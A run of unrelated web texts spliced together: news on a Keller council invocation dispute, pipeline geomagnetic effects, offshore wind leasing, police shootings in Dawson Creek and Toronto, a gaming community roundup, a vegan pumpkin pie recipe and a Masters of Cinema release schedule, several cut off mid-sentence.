Salvesen’s interpretation is different. “The Supreme Court ruled that a legislative body can have prayer if they want it,” Salvesen said. Moore, he added, is not providing that.
Moore, a medical writer, said that as a result of the court ruling, the American Humanist Association encouraged humanists to give secular invocations. He thought he would try it in Keller, a city growing in diversity that he had found welcoming.
Moore said no one responded quickly to his inquiries. After a few months, he said, he got contacted Salvesen, who told him that Mathews had denied the request.
But they soon worked out an arrangement in which Moore would be allowed to give an invocation at the Dec. 2 council meeting, on the condition that Salvesen would follow him with a Christian prayer.
“I thought it was at least a positive step forward,” Moore said.
‘Naturalistic humanist prayer’
In his first invocation, Moore thanked the council for the opportunity and asked council members “to open your eyes and open your hearts.”
“Our most serious duty tonight is to look to the community we share, the examples we make and the legacies we leave. That should be our greatest, most courageous and noble intention,” Moore said in his invocation. “Let the work done here tonight in this chamber make manifest our highest possible aspirations.”
He finished it by thanking council members for their service.
Moore gave invocations again on April 7 and Aug. 18, again on the condition that Salvesen follow him with a Christian prayer.
Moore said he “can see why it’s difficult for most Christians” to understand why he wants to give invocations.
“An invocation is a ceremony or event in which you invoke some higher authority or higher value,” Moore said. “When I give invocations, the things I’m invoking are our shared democratic values.
“For me, spirituality is a sense of connection. When I pray, I’m not praying to God, I’m praying to the people I’m looking at. My prayer is a naturalistic humanist prayer.”
Salvesen said that during their conversations, Moore “didn’t represent” his invocations as prayers.
After the Aug. 18 council meeting, Moore said, he formally asked to give his next invocation alone, “just like every other invocation speaker,” but his request was denied again.
When I pray, I’m not praying to God, I’m praying to the people I’m looking at. My prayer is a naturalistic humanist prayer. Zachary Moore, Keller resident
‘We’re increasing prayer’
After the August meeting, Moore first spoke to lawyers with the Freedom From Religion Foundation.
The letter sent in October to Mathews and the council said that “Pastor Salvesen cannot be permitted to modify the invocation practice to include a Christian prayer at meetings where a non-Christian delivers the invocation.”
Foundation officials requested that the city stop having invocations altogether but that if the city keeps them, it must treat Christians and non-Christians equally.
Salvesen emphasized that the city feels the need to supplement Moore’s invocation because he doesn’t believe in a god. While Keller has “a wide spectrum of Christian beliefs” and Christianity is the most common faith there, Salvesen said, people of all faiths are welcome and there is no discrimination against non-Christians.
Salvesen said he finds it “sad” that Moore “changed his mind” and got lawyers involved.
“He agreed to this arrangement,” Salvesen said. “I thought it was a good compromise.”
Moore said he was scheduled to give an invocation a few days after the letter was sent, on Oct. 6, with the understanding he would again be followed by Salvesen.
The invocations didn’t go as planned.
Council members discussed the letter in the pre-council meeting, according to the agenda.
Just before the council meeting, Mathews told Moore that neither Moore nor Salvesen would be giving an invocation that night.
Mathews then gave the invocation —a Christian prayer — to start the meeting.
“That may have been a step in the wrong direction,” Moore said.
The mayor’s invocation was a one-time thing, Salvesen said, now that each meeting will begin with two invocations.
“That way, everybody is being treated the same and we’re increasing prayer,” Salvesen said.
‘Inclusive to all forms of religion’
At the beginning of the next council meeting, on Oct. 20, two Christian pastors were slated to give invocations, but one didn’t show up.
Mathews introduced the invocations, saying: “For those of you who have followed this topic, it certainly was never the heart for Keller to discriminate against anyone. The Supreme Court has certainly ruled that the elected officials have the right to invocation and prayer, and it’s really based on the history of our Founding Fathers and the history of the United States.”
For those of you who have followed this topic, it certainly was never the heart for Keller to discriminate against anyone. Keller Mayor Mark Mathews
City Manager Mark Hafner said that after receiving the letter, the city attorney reviewed the invocation practice and believes the that new practice will “dispel that discrimination allegation.” The city doesn’t have a written policy on invocations.
“While Mr. Moore is welcome here to give his invocation, council felt it’d be best, not knowing if it’s a prayer or not,” to have two invocations, Hafner said.
Hafner said the city is “inclusive to all forms of religion” and anyone who wants to get on the invocation list is welcome.
“It is council’s intent to continue having prayer at meetings,” Hafner said.
Moore said he fears that the problem in Keller Town Hall is about more than his invocations.
“If I get into some dispute with a church and we have to go in front of City Council, I’m going to be thinking that I’ve got no chance, they’ve already decided, that they privilege Christian points of view,” Moore said. “And that is something that should scare anybody.”
A ‘fairly diverse’ list
Salvesen organizes the invocation schedule quarterly. He said that he sends every religious leader in town an email asking them to sign up to give an invocation and that while nearly all who accept the offer are Christian pastors, other religions have been represented.
It’s similar to how Fort Worth does it.
Fort Worth City Secretary Mary Kayser said she has a “fairly lengthy list of different ministers of all faith groups” the city. She starts scheduling invocation speakers “at random” at the end of the year and has had only a few repeats in the last several years because of the large number of potential speakers.
Kayser said Fort Worth accepts recommendations for new ministers and gets contact information for new churches and adds them to the “fairly diverse” list, where they remain unless they request to be removed, which is rare.
She said she doesn’t believe that an atheist has requested or given an invocation since she started her position in 2012.
Other events have expanded their prayer policies as well, including the Fort Worth Stock Show & Rodeo, which was both criticized and praised after a Muslim imam offered a public prayer before a rodeo performance in January.
‘Invocations are unnecessary’
At the Liberty Institute, Klukowski said he sees many flaws in the Keller dispute.
For one, he said, an atheist invocation isn’t an invocation at all, according to the Supreme Court.
“By definition, an atheist can’t give prayer, because prayer is to a divine being,” Klukowski said. “The Supreme Court has defined an invocation as legislative prayer.”
Klukowski said that if Moore wants to redefine prayer to not include a deity, “it’s nothing short of silliness.”
Also troubling is the plan to allow two invocations per meeting, Klukowski said.
“There is no historical pedigree of that, that I know of,” he said, adding that whenever the Supreme Court has addressed invocations, it specifically protects a singular invocation per meeting.
Klukowski said he hopes the city will “seek competent legal counsel” before potentially opening itself up to a lawsuit.
Sam Grover, staff attorney at the Freedom From Religion Foundation, who wrote the letter to the council, said he believes it’s fine for an atheist to give invocations.
“The Supreme Court has already contemplated atheist invocations [in the Greece vs. Galloway case] … so it has at least implied that it’s not a contradiction” to allow an atheist to give an invocation, Grover said.
Grover said he hasn’t heard back from the city. He also said he’s never heard of a government body having two invocations, and “frankly, this whole practice sounds ridiculous.”
“From the start, invocations are unnecessary; they are divisive rather than having the city get down to business,” Grover said. “The whole thing is frankly inappropriate, and to double it with two invocations is obviously meant to allow the humanists’ message to be diluted by religious messages, and I think that’s shameful.”Geomagnetic Effects on Pipelines
Introduction
Pipelines are used widely to transport gas, oil and water from their sources to processing plants and consumers. Damage to a pipeline is very costly; not only the replacement cost of the pipeline itself be must considered, but also the potential damage to the environment and the threat to people's lives.
To carry large amounts of liquid or gas underground or under the sea (from off-shore oil fields) or even on the surface, pipelines are built from steel to be able to withstand the pressure. Therefore, damage to pipelines can come not only from physical cracking, but from corrosion of the pipeline steel. To prevent corrosion, the pipeline steel is covered with an isolating coating and connected to special devices, called cathodic protection rectifiers.
Corrosion Protection Through tiny holes in the pipeline coating, not detected by pipeline surveys because the pipeline are usually buried or placed under the water, the pipeline steel may come into contact with the soil, water or moist air and be subject to corrosion. This electrochemical reaction can be inhibited by maintaining the pipeline steel negative (cathode) with respect to the surrounding soil (anode). It can be done by connecting the negative output of a DC power supply to the pipeline and the positive output to the anode devices placed in the soil so that electric currents flow from the anode to the pipeline. In this arrangement the pipeline is the cathode of the circuit; that is why this method is called "cathodic protection". The protection system keeps the pipeline potential with respect to the soil in a safe region from -0.85V to -1.35V.
How Geomagnetic Variations Affect Pipelines Time-varying magnetic fields induce time-varying electric currents in conductors. Variations of the Earth's magnetic field induce electric currents in long conducting pipelines and surrounding soil. These time-varying currents, named "telluric currents" in the pipeline industry, create voltage swings in the pipeline-cathodic protection rectifier system and make it difficult to maintain pipe-to-soil potential in the safe region. During magnetic storms, these variations can be large enough to keep a pipeline in the unprotected region for some time, which can reduce the lifetime of the pipeline. As an example, the geomagnetic storm on the 6-7 April 2000 is shown on the figure. The top panel shows geomagnetic field variations at Ottawa magnetic observatory; the bottom panel shows the pipe-to-soil potential difference on a pipeline in Canada, recorded at the same time. During the magnetic storm the pipe-to-soil potential difference went outside the safe region. That can increase the possibility of corrosion.
Effect of Pipeline Characteristics The whole pipeline system is quite complicated. It consists of a gathering system of pipelines from the oil or gas fields; a transmission pipeline (often two parallel pipelines); a distribution network of pipelines close to the city. To follow a certain route, pipelines must bend. For the electrical separation of one part of the pipeline from the other or from the processing plant, engineers use insulating flanges. They stop electrical currents but allow gas or oil to flow. All the above mentioned pipeline features cause the pipeline system to respond to the geomagnetic variations in a more complicated way. The figure shows an example of records which have been taken at different test posts of the same pipeline. To help engineers monitor the pipe-to-soil potential and make some predictions of the expected values during a geomagnetic storm, some research and mathematical modeling of the pipeline response to the geomagnetic variations has been carried out in the Ottawa Geomagnetic Laboratory. More about this research can be found in various papers and conference proceedings by the members of our research team:WASHINGTON — The federal government will hold the first lease sale for commercial offshore wind energy projects at the end of July, the Interior Department announced on Tuesday.
The sale will offer 164,750 acres of federal waters off the coasts of Rhode Island and Massachusetts. If that is fully developed, officials said, it could produce as much as 3,400 megawatts of electricity, enough to power more than one million homes.
The lease sale shows the Obama administration’s determination to pursue a wide range of domestic energy production, from fossil fuels and renewable sources. Sally Jewell, the new secretary of the interior, said the department would accelerate offshore wind leasing if the July 31 lease sale was successful.
“Today we are moving closer to tapping into the enormous potential offered by offshore wind to create jobs, increase our sustainability and strengthen our nation’s competitiveness in this new energy frontier,” Ms. Jewell said in a statement. “As we experience record domestic oil and gas development, we are also working to ensure that America leads the world in developing the energy of the future.”Alaska Highway News
RCMP shot and killed a masked man outside a restaurant in Dawson Creek last night.
Investigators from the Independent Investigations Office (IIO) boarded a flight from Vancouver this morning to Fort St. John and were expected to be in Dawson Creek around 11 a.m.
The shooting took place outside the Fixx Urban Grill restaurant at the Stonebridge Hotel on Highway 2 near the outskirts of the city. RCMP were called to the restaurant around 6:30 p.m. last night to reports of a man disrupting and damaging property at a BC Hydro open house on the Site C dam project.
Hydro had been holding the open house in the banquet facilities of the restaurant to update the public on construction timelines for the $8.8-billion hydro dam on the Peace River.
The IIO says police arrived on scene and encountered a man wearing a mask outside the restaurant, and believed him to be connected to the complaint. At some point, a confrontation occurred and police shot the masked man. He was taken to hospital where he later died of his wounds, according to the IIO.
No officers or other civilians were injured, IIO spokeswoman Kellie Kilpatrick told the Alaska Highway News.
The office says it will not be commenting on any of the officers involved in the shooting, or releasing details on the identity of the dead man, or where he was shot.
Police are not saying specifically whether this was the same man escorted out of the Hydro event, and have not said what kind of mask the man was wearing. It remains unclear if the man was armed with a weapon, and what attempts, if any, he had made toward officers.
Guy Fawkes mask
A man waiting in the parking an hour after the shooting said another man showed him a cell phone video taken of the body. He had never met the man before, and did not know his name.
“He had a video he showed me, and he zoomed in to see what mask it was. [The man who took the video] didn’t know that it was called a Guy Fawkes mask,” said the man.
The mask, popularized by the 2005 film V for Vendetta, has become a symbol in certain protest movements.
The man who saw the video said he did not want his name used, saying he was new to the area and that his employment prospects could be impacted. This account has not been confirmed by police.
A cell phone video has surfaced which shows police shooting a man outside the Fixx Urban Grill.
WATCH: Witness captures Dawson Creek RCMP shooting on cellphone. Warning: Contains disturbing content and graphic language.
Curtis Pratt was attending the open house and saw the man disrupting the event.
“He was flipping over the tables, and he walked around and started knocking the posters off, they had them on the stands and he was knocking them off. Then he went back and started tearing up the pictures and the maps,” Pratt said.
“I never saw anyone escort him out [of the building.] They just ushered him out through the door there and they were in another part of the building so we never saw after that what was going on. It seemed like everything was fine.”
Open house in Fort St. John also disrupted by protesters
Hydro has not yet released a statement on the shooting.
It had been holding open houses across the Peace Region over the last two weeks on its construction timelines for the project, which received the provincial green light to proceed last December. Shovels are expected to hit the ground on site preparation work any day now.
A small band of a dozen Treaty 8 First Nation members interrupted an open house in Fort St. John on July 9.
A video posted to YouTube shows local musician Garry Oker leading a drum procession. before making a short speech about a number of legal challenges in BC Supreme Court and federal court over the dam’s construction.
“I just want to let you know that we still got legal cases that we need to address,” Oker told the crowd.
“So, Site C, this is premature to our legal right to have a hearing in courts. We don’t have whole consent of Treaty 8 people.”
Oker later continued: “This is our sacred land. There’s something not right here. We need an opportunity to be able to have a court hearing and after that we can be able to abide by the law. But, right now, this type of thing is not right, it doesn’t feel right. It’s not right to be able to push that kind of stuff on our people.”
Source: https://shar.es/1st1D1Hello and welcome to the latest and belated edition of the Giant Bomb Community Spotlight and I, @zombiepie, am happy to be your host once again. Now as many of you may have noticed there wasn't a Community Spotlight last week, which was due to the madness of PAX bewitching everyone on Giant Bomb. However, rather than ignore all of the wonderful community creations and contributions from two weeks ago I have gone ahead and compiled TWO SPOTLIGHTS for the price of one! You hear that Valve and Humble Bundle? I can peddle my wares for FREE! Anyways before you enjoy your TWO Community Spotlights here is the site housekeeping for the last two weeks:
The 09/05/2015 Community Spotlight
The Professor is in!
Clip of the Week
Huh? (By: @turboman) - TurboMan has created a compilation video of Drew sarcastically saying "Huh?" durung Metal Gear Scanlon 4.
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Community Activities
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@redbullet685 has written a review of Until Dawn and shares why he thought it captured the feeling of a slasher flick.
and shares why he thought it captured the feeling of a slasher flick. @vert_vermillion shares his iffy and conflicted thoughts related to Lost Dimensions on his belated review of the game.
Wonderful Wikis
Metal Gear Solid V: The Phantom Pain - What is quickly becoming the biggest gaming release of the year also has a mighty impressive wiki page to boot.
<<<< INTERMISSION >>>>
The 08/29/2015 Community Spotlight
Brad Shoemaker Wants UNLIMITED ANIME!
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My Favorite Games of 1999 (By: @patanu) - patanu looks back on the year 1999 and pontificates what he thinks were the gaming highlights of the year.
(By: @patanu) - patanu looks back on the year 1999 and pontificates what he thinks were the gaming highlights of the year. Most Anticipated Games and Expansions (By: @wuddel) - There are more than a few games that Wuddle is excited about and you can see what they are, and his thing for underwater games, over here.
Useful User Reviews
@bdhurkett'S review of A New Beginning details why he was ultimately disappointed with the game after completing it.
details why he was ultimately disappointed with the game after completing it. @extintor took some time to re-examine Kojima's treatise on space exploration, Policenauts, and shares why he thinks it doesn't stand the test of time.
, and shares why he thinks it doesn't stand the test of time. @mento's review of Legend of Grimrock 2 discusses how it is an improvement on the first in more ways than one.
Wonderful WikisNew technology will provide free power to King Island as it aims to prove low-cost energy generation claims.
Wave Swell Energy, a group developing ocean wave energy generation technology, is carrying out commercial validation trials off Tasmania's King Island ahead of a potential listing.
The units are installed at depths of around 10 metres.
The group has built what Wave Swell chief executive Tom Denniss described as "big concrete caverns", which use the constant back and forth flow of the ocean to generate energy.
"As waves pass into the inside of the cavern the water level rises, this causes pressure on the air, which blows open valves at the top of the unit and turns a uni-directional turbine; as the water recedes it causes negative pressure which closes the valves, creating a cyclical process."I’m not crazy about pumpkin pie. Is that terrible to admit in my opening sentence? Maybe just a little. But my mother likes to make pumpkin chiffon pie for Thanksgiving and everyone else likes to eat that pie and so pumpkin pie must be good for something right? Plus she gave me the recipe for it a few years ago. It’s been sitting there, in a spiral notebook, minding its own business ever since.
Fast forward to my Healthier Banana Nut Bread endeavor. Another one of my mother’s recipes, but one I chose to revamp to fit my new healthier lifestyle. That prompted me to flip through a cookbook my mother compiled for me for my 21st birthday of family recipes, all the while thinking of how to make them a bit healthier and Molly-friendly.
I stopped at the Pumpkin Chiffon Pie recipe. (Apparently I’m a superb actress when it comes to pie eating reaction faces? Sorry mom. Cat’s out of the bag.) It seemed like a safe place to start. Pumpkin. That’s a vegetable, right? Vegetables are healthy. And the flavors are certainly more spice than sweet. I can do this, I thought. I can also probably make one I actually enjoy eating too, I told my dog.
Adapting the filling was the easiest part. Tofu works great in lieu of eggs in a recipe like this that calls for a custard-y consistency. And Truvia is a dear friend of mine. So that was that. Best part? No raw eggs means you can taste and tamper with the spices as you go so you end up with the taste you actually want! Yay!
The crust was a different story. My mother’s recipe calls for all the butter in the world, plus enough sugar to make a really great face scrub. (I think that’s all sugar’s good for? Maybe?) Plus the carb thing. I don’t like them.
Never forget the carb thing.
I frankensteined a few different pie crust recipes and then sort of just did what felt right in the moment. I know what you’re thinking and no, it did not lead to an unplanned pregnancy. I’m a grown up. Clearly. The crust I ended up with is Gluten-Free, if you’re into that sort of thing, and significantly carb-reduced. Plus it’s vegan as all hell. (I’m trying to imagine that idiom in the most literal way possible. Now you do it. It’s fun.) Keep in mind, however, this is not the buttery pie crust you are used to. It definitely has more of a nutty taste and a grainy texture but have to say, I really prefer it to a classic pie crust. It’s more than just a buttery bed for a pie, it actually adds to the overall taste! Double yay!
Vegan Pumpkin Pie with a Gluten-Free Crust
Serves 8
If you want to make a healthier gluten-free pie crust, you’ll want to have
8 tbls ground flaxseed (This was the last of my ground flaxseed. It went out the only way it knew how: like a champion. And in a pie crust.)
1/4 cup soy flour
1/4 cup brown rice bread crumbs
1/4 tsp cinnamon
1 packet Truvia
1/4 cup unsweetened applesauce
1/4 tsp vanilla extract
1/4 cup of chopped walnuts
If you’re looking for something pumpkininny, get a hold of
1 1/4 cups canned pureed pumpkin
8 ounces silken tofu
1/2 cup almond milk (or any dairy-less milk you like)
8 packets Truvia
1 1/2 tsp cinnamon
1 tsp nutmeg
1 tsp ground ginger
1/2 tsp salt
1/2 tsp vanilla extract
Let’s make some vegan pie, bitches
Preheat your oven to 425 and spray a pie pan with cooking spray. Set aside so it can judge you from afar.
Assemble the pie crust: In a medium bowl, combine the first 5 ingredients. Stir in the applesauce and the vanilla extract. It should look kind of paste like. Press the mixture into the pie pan, evenly distributing it like, you guessed it, a pie crust. Wacky! Press the chopped walnuts into the pie crust, again evenly distributed. Put the pan in the freezer while you make the filling.
Make some filling already: I used a medium sized bowl because I had zero desire to clean out my food processor today. If you want, you can throw everything in a food processor and puree the life out of it. I just mixed it by hand starting by mushing up the tofu, adding in the pumpkin, the milk, and finally the Truvia, spices, and extract. Definitely give this filling a taste as you spice it and feel free to tailor it to your personal taste buds. (I’m in an committed relationship with cinnamon so I gave it the respect it deserved/used it without restraint. Solid relationship advice right there.)
Remove the chilled pie crust from the freezer and spread the pumpkin goodness evenly (can I just go ahead and assume no one would ever unevenly spread an anything? please?) in the crust. Pop it in the oven for 15 minutes. Lower the temperature to 350 and cook for 40 minutes more, or until the top shows a crack or two to signify it’s set. Let cool on a window sill because you are adorable.
The final verdict on this Gluten-Free Vegan Pumpkin Pie?
Omigod yes.
I understand pumpkin pie now. I like pumpkin pie, guys! We did itttttt. Try it for yourself and your extremely food intolerant friends (or pretentious, it’s a toss up). I topped mine with some vanilla greek yogurt to get my non-vegan fill (I ain’t no vegan or nothin, folks) but vanilla soy yogurt makes a perfect healthy vegan-friendly pairing. Something about the yogurt texture compliments the creamy pie and nutty crust. Yum!
AdvertisementsLawrence Franks
Lawrence Joseph Franks Jr., graduated from the U.S. Military Academy on May 31, 2008. Less than a year later, he deserted the Army and fought Islamic militants with the French in northern Africa. On Monday, a military judge sentenced him to four years in prison.
(file photo)
A Damascus man was sentenced to four years in prison Monday for deserting the U.S. Army to fight Islamic extremists for the French in Northern Africa, according to The New York Times.
According to the Times report, Second Lt. Lawrence J. Franks Jr. grew up in Damascus and graduated near the top of his class from West Point in 2008. In 2009, he deserted his post at Fort Drum in upstate New York, hopped a plane to France and enlisted in the French Foreign Legion under an assumed name.
The reason, he told the Times, was severe depression and suicidal thoughts that made |
important for the progress of human rights in China. So these two forces must combine to push forward China’s human rights situation.”
DON’T MEDDLE
“There is going to be a strong message delivered in private,” a U.S. official said of the rights talks, that will be led on the U.S. side by Assistant Secretary for Democracy, Human Rights and Labor Michael Posner.
The official, who spoke on condition of anonymity, said the Obama administration had also taken a firm public stance toward Chinese rights issues.
“We have other important economic and political interests that are on the table, there’s no doubt. But these issues are making our conversation more difficult,” Posner told reporters earlier this month.
Beijing says many of those criticisms are meddling and points to the United States’ own human rights controversies such as the high rates of incarceration.
Even in private discussions, Chinese diplomats have become more prickly about lobbying over human rights, said one Western diplomat in Beijing.
“It used to be that raising these issues would get you a lecture about how China has made huge improvements and needs to make more progress,” said the diplomat.
“But now the lecture is much more about, ‘Who are you to criticize me? What right have you to criticize China?’”A Toronto police officer charged with second-degree murder in the shooting death of 18-year-old Sammy Yatim walked out of a downtown courthouse Tuesday, freed on $510,000 bail just hours after he surrendered to police.
Amid a phalanx of media cameras, a sombre Const. James Forcillo — who did not address reporters — quietly left the courthouse and entered a waiting SUV.
“He’s very upset and in shock, quite honestly,” Toronto Police Association President Mike McCormack told reporters.
“It’s been very trying on him and his family.”
Superior Court Justice Gary Trotter’s reasons for setting Const. Forcillo free on bail are covered by a publication ban, but the Crown did not oppose his release. Const. Forcillo’s bail conditions stipulate that he must report weekly to the province’s police watchdog, the Special Investigations Unit.
The SIU concluded Monday that murder charges were warranted against Const. Forcillo, who was captured on bystander video firing nine shots at Mr. Yatim on July 27. Mr. Yatim, armed with a small knife, was alone on a TTC streetcar at the time.
“We are looking forward to moving the case forward in court,” Const. Forcillo’s high-profile lawyer, Peter Brauti, told reporters. “It’s very early days to judge this case… That’s been one of the difficulties and the challenge in this case, is that there’s a lot of people who have rushed to judgment without all of the information.”
Mr. Brauti said his client was in a “very sombre mood,” adding “when you’ve been involved in the loss of life, the gravity of it is incredible.”
Mr. McCormack said the charges — rare for an on-duty officer — have sent shockwaves through the Toronto force. The police association is paying the legal fees of Const. Forcillo, a six-year member of the Toronto Police Service.
While bail applications in murder cases typically require several days of advance notice before being heard in Superior Court, Const. Forcillo’s case was expedited given the unusual circumstances, Mr. Brauti said.
“This is a case where Mr. Forcillo didn’t ask to be in front of that streetcar; he was on duty and he had a legal obligation to be there,” Mr. Brauti said. “Now, we’ll have a trial about whether the decisions were right or wrong.”
Mr. Yatim’s family was scheduled to hold a news conference Wednesday to discuss the teenager’s death. In a statement this week, they said they were relieved at the murder charge but hopeful the SIU would also examine the actions of supervising officers.
“Moving forward we expect complete transparency and accountability,” the family wrote. “We want to work now to ensure that Sammy’s blood wasn’t wasted and to prevent any other families from enduring such a tragedy.”
Earlier Tuesday, Const. Forcillo made a brief appearance at the Old City Hall courthouse, where a judge set a Sept. 30 date for a closed judicial pretrial.
The case could ultimately go to trial as early as next fall, lawyers say.
National Post, with files from The Canadian PressEureka and Masters of Cinema Release Schedule April-June
Eureka Entertainment today announced its forthcoming releases for the months of April, May and June 2012. There will be seven new releases added to the Masters of Cinema series (DOUBLE INDEMNITY, THE LOST WEEKEND, LIFEBOAT, ISLAND OF LOST SOULS, RUGGLES OF RED GAP, SANSHO DAYU and UGETSU MONOGATARI) as well as one non-Masters of Cinema release, namely Takashi Miike’s YATTERMAN. Eureka also continues its ongoing association with Bounty Films with the release of Yamaguchi’s DEADBALL.
Curator, Founder and Production Director of the Masters of Cinema, Nick Wrigley says "We're very excited to finally be welcoming British legend Alfred Hitchcock into the Masters of Cinema Series. He made LIFEBOAT during WW2, his only film for Fox, and the same year he made two shorter films for the war effort - BON VOYAGE and AVENTURE MALGACHE - both collected here, in new HD restorations as a sumptuous Dual Format special edition.
Our two best selling Mizoguchi titles, the enormous Japanese masterpieces SANSHO DAYU and UGETSU MONOGATARI will receive the upgrade treatment in April when they appear in new HD restorations / Dual Format editions alongside OYU-SAMA and GION BAYASHI, also in HD.
May 2012 sees a Charles Laughton double-bill. One of England's most-loved actor/directors (his only directorial effort - THE NIGHT OF THE HUNTER - being one of the most remarkable one-offs in the history of cinema), Scarborough-born Laughton has a marvellous time in the pre-Code Universal horror classic ISLAND OF LOST SOULS. Three years later he starred in Leo McCarey's amazing RUGGLES OF RED GAP. The director of MAKE WAY FOR TOMORROW directs Laughton who plays an English valet whisked away to the American west. Banned on release by Nazi Germany because of Laughton's moving recitement of the Gettysburg Address.
In June we welcome the great Billy Wilder into the Masters of Cinema Series with two of his very greatest achievements on Blu-ray only - DOUBLE INDEMNITY (1944) starring Fred MacMurray and Barbara Stanwyck, and THE LOST WEEKEND (1945), which stars an Oscar-winning performance by Welshman Ray Milland."
Full line up is as follows:
Released on 23 April 2012
LIFEBOAT (Masters of Cinema) DUAL FORMAT (STEELBOOK EDITION ALSO AVAILABLE)
Alfred Hitchcock's only film for Fox, made at the height of WW2, stars a first-rate ensemble cast, led by grande dame of the stage Tallulah Bankhead, as the survivors of a Nazi attack set adrift on a lifeboat in the Atlantic Ocean, pitted against interpersonal animosities, creeping paranoia, and the captain of the Nazi sub that placed them in their current predicament...
Features include:
New high-definition master, officially licensed from Twentieth Century Fox
New high-definition 1080p transfers of Hitchcock’s little-seen French-language 1944 wartime films, Bon voyage (26 minutes) and Aventure malgache (32 minutes) officially licensed from the British Film Institute
(26 minutes) and (32 minutes) officially licensed from the British Film Institute Optional English subtitles on all three films
20-minute documentary on the making of Lifeboat
12-minute excerpt from the legendary 1962 audio interviews between Hitchcock and François Truffaut, discussing Lifeboat and the wartime shorts
and the wartime shorts PLUS: A 36-page booklet featuring new and exclusive essays on all three films by critics Bill Krohn, Arthur Mas, and Martial Pisani
Newly exclusively restored high-definition transfer of Ugetsu Monogatari in 1080p
in 1080p Mizoguchi’s Oyū-sama (also in 1080p on the Blu-ray)
(also in 1080p on the Blu-ray) Optional English subtitles on both features
Tony Rayns video discussions of Ugetsu Monogatari [9:00] and Oyū-sama [13:00]
[9:00] and [13:00] Original Japanese and Spanish theatrical trailers for Ugetsu Monogatari
Ugetsu Monogatari restoration demonstration
restoration demonstration Illustrated booklet featuring rare archival imagery and award-winning translations of the 18th century Ueda Akinari stories adapted in Ugetsu Monogatari
Newly restored high-definition transfer of Sanshō Dayū in 1080p on the Blu-ray
in 1080p on the Blu-ray Mizoguchi’s Gion Bayashi (also in 1080p on the Blu-ray)
(also in 1080p on the Blu-ray) Optional English subtitles on both features
Tony Rayns video discussion of Sanshō Dayū [29:00] and Gion Bayashi [11:00]
[29:00] and [11:00] Original Japanese theatrical trailer for Sanshō Dayū and original Japanese theatrical teaser for Gion Bayashi
Before-and-after Sanshō Dayū restoration demonstration
restoration demonstration Illustrated booklet featuring rare archival imagery and a full reprint of the 1915 Mori Ōgai story adapted in Sanshō Dayū
Released on 28 May 2012
Newly restored high-definition digital transfer officially licensed from Universal Pictures
Newly created SDH subtitles on the feature for the deaf and hard of hearing
An exclusive video piece in which horror critic and historian Jonathan Rigby discusses the film and its source novel
More extras to be announced nearer the release date
PLUS: A lavish booklet featuring rare production imagery, and more!
Beautiful new high-definition master, officially licensed from Universal Pictures
Optional English subtitles for the deaf and hearing impaired
Optional music and effects track
Ruggles on the Radio : three adaptations made for radio broadcast, all featuring Charles Laughton and Charlie Ruggles in a reprisal of their famous roles
: three adaptations made for radio broadcast, all featuring Charles Laughton and Charlie Ruggles in a reprisal of their famous roles Laughton reciting Lincoln’s Gettysburg Address, originally released as a 78-rpm record in 1937.
PLUS: A booklet featuring a new and exclusive essay by filmmaker and critic Dan Sallitt, rare archival imagery, and more!
Released on 25 June 2012
Exclusive new high-definition restoration, officially licensed from Universal Pictures
Optional English subtitles for the deaf and hearing-impaired
1950 Lux Radio Theater adaptation starring Fred MacMurray and Barbara Stanwyck
The original theatrical trailer
More extras to be announced nearer the release date!
PLUS: A 36-page booklet featuring rare articles, images, and more!
New high-definition master, officially licensed from Universal Pictures
Optional English subtitles for the deaf and hearing impaired
Exclusive new video introduction by director Alex Cox
The 1946 Screen Guild Theater radio adaptation of The Lost Weekend – starring Ray Milland, Jane Wyman, and Frankie Faylen
– starring Ray Milland, Jane Wyman, and Frankie Faylen The original theatrical trailer
PLUS: A booklet featuring rare archival imagery, and more!
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Mizoguchi's intensely poetic tragedy consistently features on polls of the best films ever made. This new HD restoration is the film's first appearance on Blu-ray anywhere in the world, and is accompanied by an HD presentation of Mizouguchi's 1951 classic OYÛ-SAMA.Features include:One of the most critically revered films in Japanese cinema history, Mizoguchi's deeply affecting classic has been newly restored in HD and appears here on Blu-ray for the first time anywhere in the world, and is accompanied by an HD presentation of Mizoguchi's 1953 classic GION BAYASHI.Features include:Classic seventies anime series Yatterman flies to the silver screen in a brilliant crime-fighting explosion of candy-coloured camp, over-the-top adventure, and pure popcorn entertainment. Directed by legendary cult director Takashi Miike (13 ASSASSINS, ICHI THE KILLER, AUDITION) and featuring a brand new plot and re-imaged characters, this live action debut of Yatterman will re-define the robot action adventure genre.Features are TBC.A hilariously offensive, politically incorrect sports splatter comedy, DEADBALL is director Yudai Yamaguchi’s follow-up to his earlier zombie baseball classic BATTLEFIELD BASEBALL, and once again features action star Tak Sakaguchi (VERSUS, BE A MAN! SAMURAI SCHOOL).Features are TBC.For the first time in the UK, one of the most imaginative and nightmarish fantasies from Hollywood's golden age of horror - starring the legendary Charles Laughton. Originally rejected by the BBFC, this first and best screen adaptation of H. G. Wells' THE ISLAND OF DR MOREAU, is one of Hollywood's wildest pre-Code pictures.Features include:The UK home viewing premiere of one of the finest films of Leo McCarey (MAKE WAY FOR TOMORROW, AN AFFAIR TO REMEMBER) finds Charles Laughton in one of his greatest roles as a personal valet shipped off to America in the service of the brash and wealthy Egbert Floud (played, coincidentally enough, by Charlie Ruggles); a sophisticated comedy of rude manners ensues.Features include:Billy Wilder and Raymond Chandler team up to create one of the greatest, and quintessential, films noirs of the studio era, a classic of the hard-boiled genre nominated for seven Oscars, and whose performances by Fred MacMurray, Barbara Stanwyck, and Edward G. Robinson have been leaving audiences breathless for almost 70 years. Now, exclusively restored by The Masters of Cinema Series for its first ever release on Blu-ray anywhere in the world.Features include:An Academy-Award-winning (including Best Picture) triumph from the great Billy Wilder, with Ray Milland as a writer's-block-ridden and booze-sodden author spiralling into a days'-long rock-bottom binge crafted by Wilder with expressionist fervour. This gorgeous Blu-ray edition is the first available anywhere in the world.Features include:Additional Eureka Entertainment news:Eureka are also upgrading a batch of their previous releases to DUAL FORMAT EDITIONS on 13 February 2012. These upgrades are for Kurosawa’s TOKYO SONATA, To’s MAD DETECTIVE, Godard’s UNE FEMME MARIEE, Imamura’s VENGEANCE IS MINE, Laloux’s LA PLANETE SAUVAGE, Tashlin’s WILL SUCCESS SPOIL ROCK HUNTER, Ichikawa’s BURMESE HARP & Jia Zhangke’s THE WORLD (not previously available in a DVD format)EUREKA ENTERTAINMENT are pleased to announce that they have acquired the rights to Carl Theodor Dreyer’s THE PASSION OF JOAN OF ARC. A future Masters of Cinema Series release, it was noted on twitter earlier today that they would be working on the film throughout the year with the eventual release looking like 2013.Staff Reports - COLUMBUS, Ohio (WDTN) - Ohio Attorney General Mike DeWine today rejected the 